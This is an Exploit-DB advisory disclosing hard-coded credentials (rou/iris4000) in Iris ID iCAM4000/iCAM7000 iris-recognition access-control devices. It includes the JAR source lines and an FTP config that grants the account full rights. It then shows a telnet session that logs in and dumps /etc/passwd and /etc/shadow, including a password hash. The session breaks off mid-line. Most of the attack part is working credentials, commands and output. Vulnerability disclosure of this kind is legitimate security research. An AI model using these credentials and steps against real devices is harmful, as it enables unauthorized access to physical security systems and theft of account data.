Exploit-DB #40167
Description: Iris ID IrisAccess iCAM4000/iCAM7000 - Hard-Coded Credentials Remote Shell Access
Type: remote
Platform: linux
Date: 2016-07-26
Author: LiquidWorm

Exploit:

Iris ID IrisAccess iCAM4000/iCAM7000 Hardcoded Credentials Remote Shell Access


Vendor: Iris ID, Inc.
Product web page: http://www.irisid.com
                  http://www.irisid.com/productssolutions/irisaccesssystem/irisaccess4000/
                  http://www.irisid.com/productssolutions/hardwareproducts/icam4000series/
                  http://www.irisid.com/productssolutions/irisaccesssystem/irisaccess7000/
                  http://www.irisid.com/productssolutions/hardwareproducts/icam7-series/

Affected version: iCAM4000:
                  iCAM Software: 3.09.02
                  iCAM File system: 1.3
                  CMR Firmware: 5.5 and 3.8
                  EIF Firmware: 9.5 and 8.0
                  HID iClass Library: 2.01.05
                  ImageData Library: 1.153
                  Command Process: 1.02

                  iCAM7000:
                  iCAM Software: 8.01.07
                  iCAM File system: 1.4.0
                  EIF Firmware: 1.9
                  HID iClass Library: 1.00.00
                  ImageData Library: 01.01.32
                  EyeSeek Library: 5.00
                  Countermeasure Library: 3.00
                  LensFinder Library: 5.00
                  Tilt Assist Library: 4.00

Summary: The 4th generation IrisAccess™ 7000 series iris recognition solution offered
by Iris ID provides fast, secure, and highly accurate, non-contact identification
by the iris of the eye. The iCAM7000's versatility and flexibility allows for easy
integration with many Wiegand and network based access control, time and attendance,
visitor management and point of sale applications.

The iCAM4000 or 4010 with embedded smart card is the best-selling model in the IrisAccess
4000 range. Simultaneous two-eye capture, face-badging camera, motorized height adjust,
iCAM4000 is easily configured for use in a kiosk as well as in applications where a traditional
wall-mount is used.

Desc: The Iris ID IrisAccess iCAM4000/7000 series suffer from a use of hard-coded credentials.
When visiting the device interface with a browser on port 80, the application loads an applet
JAR file 'ICAMClient.jar' into user's browser which serves additional admin features. In the
JAR file there is an account 'rou' with password 'iris4000' that has read and limited write
privileges on the affected node. An attacker can access the device using these credentials
starting a simple telnet session on port 23 gaining access to sensitive information and/or
FTP access on port 21 (with EVERYTHING allowed) and uploading malicious content.

=====================================================================================

/html/ICAMClient.jar (ICAMClient.java):
---------------------------------------

97:  param_host = getParameter("host");
98:  param_user = "rou";//getParameter("user");
99:  param_pass = "iris4000";//getParameter("pass"); // password
100: param_path = getParameter("path"); // path on the server


/etc/ftpd/ftpd.conf:
--------------------

69:  # User list:
70:  # Format:  user=<login> <passwd> <subdir> <maxlogins> <flags>
71:  #           <login>     user name
72:  #           <passwd>    password or * for anonymous access
73:  #           <subdir>    (internally appended to serverroot)
74:  #                       the user has access to the WHOLE SUBTREE,
75:  #                       if the server has access to it
76:  #           <maxlogins> maximal logins with this usertype
77:  #           <flags>     D - download
78:  #                       U - upload + making directories
79:  #                       O - overwrite existing files
80:  #                       M - allows multiple logins
81:  #                       E - allows erase operations
82:  #                       A - allows EVERYTHING(!)
101: 
103: user=rou iris4000 / 5 A

=====================================================================================


Tested on: GNU/Linux 2.4.19 (armv5tel)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5347
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5347.php


06.05.2016

--


telnet [IP]
iCAM4000 login: rou
Password:
[rou@iCAM4000 rou]# id
uid=500(rou) gid=500(rou) groups=500(rou)
[rou@iCAM4000 rou]# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/home/ftp:
nobody:x:99:99:Nobody:/:
rou:x:500:500::/home/rou:/bin/bash
[rou@iCAM4000 rou]# cd /web
[rou@iCAM4000 /web]# ls -al
total 0
drwxrwxr-x    1 rou      rou             0 Jul 26 07:22 .
drwxr-xr-x    1 root     root            0 Jan  1  1970 ..
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 cgi-bin
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 html
drwxrwxr-x    1 rou      rou             0 Jan 31  2013 images
[rou@iCAM4000 /web]# cat /etc/shadow
root:{{REMOVED}}
bin:*:10897:0:99999:7:::
daemon:*:10897:0:99999:7:::
adm:*:10897:0:99999:7:::
lp:*:10897:0:99999:7:::
sync:*:10897:0:99999:7:::
shutdown:*:10897:0:99999:7:::
halt:*:10897:0:99999:7:::
mail:*:10897:0:99999:7:::
news:*:10897:0:99999:7:::
uucp:*:10897:0:99999:7:::
operator:*:10897:0:99999:7:::
games:*:10897:0:99999:7:::
gopher:*:10897:0:99999:7:::
ftp:*:10897:0:99999:7:::
nobody:*:10897:0:99999:7:::
rou:$1$LfhrWa0e$Crfm4qz7MFEaWaA77NFci0:12702:0:99999:7:::
[rou@iCAM4000 /web]# cat /etc/issue

Iris@ID iCAM4000 Linux (experimental)
Kernel 2.4.19-rmk7-pxa1 on an armv5tel
[rou@iC